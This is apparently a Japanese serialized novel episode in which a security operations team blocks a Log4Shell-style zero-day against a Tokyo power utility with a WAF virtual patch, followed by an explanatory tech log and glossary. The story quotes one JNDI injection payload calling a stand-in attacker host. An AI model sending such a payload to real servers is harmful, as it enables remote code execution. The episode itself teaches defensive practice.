Case 10:ゼロデイの夜(Zero Day's Night)
第1部:透明な弾丸
1
金曜日の午後8時。
東京の夜景が一望できるSOC(監視センター)は、奇妙なほど静かだった。
定常的な攻撃はあるものの、すべてBot ManagerとWAFが自動で弾き返している。
「平和ね」
ケアラが伸びをする。
「波が凪いでる。……逆に不気味なくらい」
その静寂を破ったのは、一本の電話だった。
ホットライン(緊急回線)。
相手は、日本の関東全域に電力を供給する「帝都電力」のCISO(最高情報セキュリティ責任者)だ。
『……アイギスさん。どうなっているんですか!』
スピーカーから聞こえる声は、パニックで裏返っていた。
『当社の給電指令システムが、勝手に操作されています! 制御コマンドが外部から送り込まれている!』
「落ち着いてください」
亀之助が冷静に応答する。
「給電制御などのOT(運用技術)系システムは、インターネットから隔離されているはずです。我々が守っているのは、あくまで公開Webサーバーだけですが……」
『その公開Webサーバーです! 協力会社向けの「統合監視ポータル」が踏み台にされたようです! WAFは動いているのに、なぜか侵入された!』
「……なんですって?」
亀之助は背筋が凍るのを感じた。
DMZ(非武装地帯)にある監視ポータル。そこが突破され、裏側のAPI経由で、内部の重要システムへ毒が回ったのか。
「……カメ、これを見て」
十凍が、血走った目でモニターを睨んでいた。
「監視ポータルへのHTTPリクエスト。……一見するとただのユーザーエージェント情報だ。だが……」
十凍がパケットの中身を展開する。
そこには、奇妙な文字列が埋め込まれていた。
${jndi:ldap://attack-server.com/exploit}
「……なんだこの文字列は?」
「呪文だ」
十凍が吐き捨てるように言った。
「こいつを読み込ませるだけで、Javaで動いているサーバーが勝手に外部へ接続し、乗っ取られる。……SQLインジェクションでもクロスサイトスクリプティングでもない。未知の攻撃だ」
2
衝撃が走った。
ゼロデイ。
メーカー(今回はログ出力ライブラリ)すら気づいていない、修正パッチも存在しない、生まれたての脆弱性。
世界中のどのセキュリティ製品も、この攻撃を知らない。
だから、アイギスの盾もこれを「正常な通信」として通してしまったのだ。
「……APT-Dragonだ」
ケアラが震える声で言う。
「彼らはずっと隠し持っていたのよ。この『切り札』を。……日本の電力を落とす、この瞬間のために」
モニターの中で、帝都電力のポータルサーバーが次々と赤く染まっていく。
制御権を奪われたWebサーバーが、内部ネットワークに向けて、誤った給電停止命令を中継し始めている。
このままでは、東京が大停電になる。
「……止めろ! 今すぐ!」
猪熊社長が司令室に入ってきた。
「帝都電力が落ちれば、病院も交通もすべて止まる。首都機能が麻痺するぞ!」
「止めるって言っても……!」
守凪が叫ぶ。
「パッチがないんです! メーカーも今頃パニックですよ! どうやって防ぐんですか!」
全アイギス社員の視線が、一人の男に集まった。
地下室の住人、マルウェア解析のスペシャリスト。
「……十凍」
亀之助が呼ぶ。
十凍は無言で、コンビニで買ったレッドブルのプルタブを開けた。
プシュ、という炭酸の音が、静寂に響く。
「……パッチがないなら、俺たちが作るしかないだろう」
十凍はキーボードに指を置いた。
「『仮想パッチ(Virtual Patch)』だ。この攻撃パターンだけを弾くWAFルールを、今ここで書いて、世界中のエッジサーバーに即時配信する」
第2部:40億台のロシアンルーレット
3
それは、狂気じみた作業だった。
ゼロデイ攻撃は、形を変える。攻撃者は文字列を微妙に難読化して、検知を逃れようとする。
「……変異種、来ました! すり抜けます!」
ケアラが叫ぶ。
「クソッ、いたちごっこかよ!」
十凍の指が高速で動く。
正規表現(Regex)の鬼となる。敵のあらゆる「書き換えパターン」を予測し、それを網羅する検知ルールを書く。
だが、厳しくしすぎれば、正規の通信(一般ユーザーの閲覧)までブロックしてしまう。
「できた! ……全顧客へ適用だ!」
十凍が叫ぶが、亀之助がその手を止めた。
「待ってください! そのルール、検証してない!」
亀之助が立ちはだかる。
「いきなり全世界に配って、もし誤検知(False Positive)があったら、Amazonの注文も銀行の決済も全部止まります! インフラ屋としてそれはできない!」
「今は電力だ! 電気が消えたらAmazonもクソもねえだろうが!」
「だからこそです!」
亀之助は引かない。
「まず『帝都電力のプロパティ』だけに緊急適用します! そこで誤検知がないことを確認してから、全顧客へ展開する。……それが手順です!」
二人が睨み合う。
その均衡を破ったのは、胃薬を手にした司だった。
「……亀之助の言う通りだ。十凍、まずは帝都電力だけで行け」
司は受話器を握りしめながら言った。
「US本社のSOCC(セキュリティ監視センター)とケンブリッジのエンジニアリングチームには、俺から緊急コード(Code Red)を通した。世界中のアイギスが今、お前の書いた正規表現をレビューしている。……GOサインが出たら、俺が全世界に撃つ」
普段は頼りない司の目が、今は現場指揮官の目をしていた。
十凍は舌打ちし、ニヤリと笑った。
「……チッ。分かったよ、堅物どもめ」
「帝都電力向けカスタムルール、適用!」
亀之助がEnterキーを叩く。
4
帝都電力のSOC。
攻撃のアラートが鳴り止まない中、担当者たちが絶望していた。
だが、突如としてモニターの数字が変化した。
「……攻撃通信、ブロックされています!」
「WAFが……弾き始めました! 侵入できません!」
アイギスの盾が、進化した瞬間だった。
未知だった「ゼロデイ」は、十凍によって「既知」となり、無効化された。
『……US本社、検証完了! 誤検知なし! 全エッジへ展開承認!』
司の声が響く。
これで、世界中の企業もこの攻撃から守られる。
「……止まったか」
十凍は椅子に深く沈み込んだ。
「ギリギリだったな」
「すごい……」
守凪が呟く。
「十凍さん、亀之助さん、司さん……あんたら最強ですよ」
SOCに安堵の空気が流れる。
だが、ケアラだけはまだモニターを見ていた。
「……変ね」
彼女は眉をひそめた。
「攻撃は止まったのに、トラフィックの『色』がおかしい。……内部から外へ向かう通信はないのに、サーバーの負荷だけが上がってる」
第3部:物理の連鎖
5
攻撃は止まった。
帝都電力のシステムは、外部からの操作を遮断し、制御を取り戻したはずだった。
だが、オフィスの照明が、フッと瞬いた。
「……おい、なんだ?」
亀之助が天井を見上げる。
次の瞬間。
窓の外、東京の夜景が――消えた。
港区、渋谷区、新宿区……。
光の海だった東京が、ブロックごとに黒く塗りつぶされていく。
大停電だ。
「な、なんで!?」
守凪が叫ぶ。
「攻撃は止めたはずでしょ!?」
「……時限爆弾だ」
十凍が呻くように言った。
「WAFで止めたのは『入り口』だけだ。……最初の数分間、奴らは侵入に成功していた。その時に、内部サーバーのタスクスケジューラに『遅延実行コマンド』を仕込んでいたんだ」
『20:30に、全サーキットブレーカーを開放せよ』。
その命令は、すでにシステムの内側に埋め込まれ、アイギスの手が届かない場所で、静かに時間を待っていたのだ。
オフィスの非常用電源が作動し、赤い回転灯が回り始める。
エアコンが止まり、サーバーのファンの音だけが轟く。
「……電力が落ちた」
ケアラが青ざめる。
「通信基地局のバッテリーは、持ってあと4時間。……それを過ぎれば、日本はネットから孤立するわ」
「……よし、俺の出番だな」
暗闇の中で、ヘルメットのライトを点けた男が立ち上がった。
磯部(親方)だ。
「燃料タンクは満タンだ。発電機は72時間は回してやる。……だがな、サーバー室の冷却が止まれば終わりだ。亀之助、空調が死んだら、窓ガラス割ってでも風を入れるぞ」
猪熊社長が立ち上がった。
「……総員、衝撃に備えなさい。
サイバー戦は一時休戦だ。……ここからは、物理戦です」
暗闇の中で、アイギス・ジャパンの長い夜が始まった。
そして、その闇の向こうで、かつて敵対した「彼ら」――K1D_Zとチョウが、それぞれの場所でこの停電を見上げていたことを、亀之助たちはまだ知らない。
(第10話 完)
亀之助の技術日誌(Technology Log)
【今回の使用ウェポン:WAF Virtual Patching (仮想パッチ)】
* これはなに?
「絆創膏による応急処置」です。
* ソフトウェアに致命的な穴(脆弱性)が見つかった時、メーカーの修正パッチを待っていては間に合いません。
* アイギスのWAFで「その穴を狙う攻撃パターン」だけをブロックするルールを適用することで、サーバー自体は穴だらけでも、攻撃が届かない状態にします。
* 今回は「帝都電力だけ」→「全世界」と段階的に適用することで、Amazonなどの他社サイトを巻き込む事故を防ぎました。
* 亀之助のボヤキ
* 「『時限爆弾(Scheduled Task)』……WAFの限界だ。
* WAFはあくまで『門番』だ。泥棒が入るのを防ぐことはできるが、すでに入り込んで『時限爆弾』をセットした泥棒を、後から追い出すことはできない。
* 結局、侵入された時点で負けだったのか。……いや、まだだ。親方が電気を守ってくれている間に、俺たちが中の毒を抜けばいい」
【 導入あり vs なし 比較】
アイギスなしの場合
* 結果:
* ゼロデイ攻撃が直撃し、帝都電力の全システムが乗っ取られる。
* 制御不能になった発電所が暴走し、タービンが物理的に破壊される(復旧に数ヶ月かかるレベル)。
* 日本の電力網は完全に崩壊し、文明レベルが後退する。
アイギスあり(今回のケース)
* 結果:
* 攻撃開始から数十分で「仮想パッチ」を適用し、新たな侵入を遮断。
* システムの完全乗っ取りは防いだが、初期に侵入した一部の時限コマンドにより、一時的な停電が発生。
* 発電設備の物理破壊は免れたため、復旧への希望は残されている。
ケアラの占い部屋(Security Fortune)
【今回のキーワード:Zero-DayとLog4Shell】
* ケアラの解説
* 「メーカーが気づく『0日目(Zero Day)』に攻撃されるから、ゼロデイ攻撃。
* 今回の元ネタになった『Log4Shell』は、2021年に見つかった史上最悪の脆弱性よ。
* 呪文のような文字列を送るだけで、相手のサーバーを遠隔操作できちゃう。世界中のサーバー管理者が、クリスマス休暇を返上して対応に追われたわ。
* 私たちが普段使っている便利なライブラリ(部品)……実はそれが、世界を壊す爆弾になることもあるの」
* 用語集(Termpedia)
* DMZ(DeMilitarized Zone): 非武装地帯。外部と内部(社内)の間に置かれる緩衝エリア。今回はここに置かれたポータルが狙われた。
* Follow the Sun: 「太陽を追いかける」運用体制。日本が夜になっても、地球の裏側のUSやロンドンが起きているので、24時間誰かが守ってくれる。司さんが連絡したのはこれ。
#中国
#戦争
#ロシア
#セキュリティ
#サイバー攻撃
#脆弱性
#エッジコンピューティング
#サイバー戦争




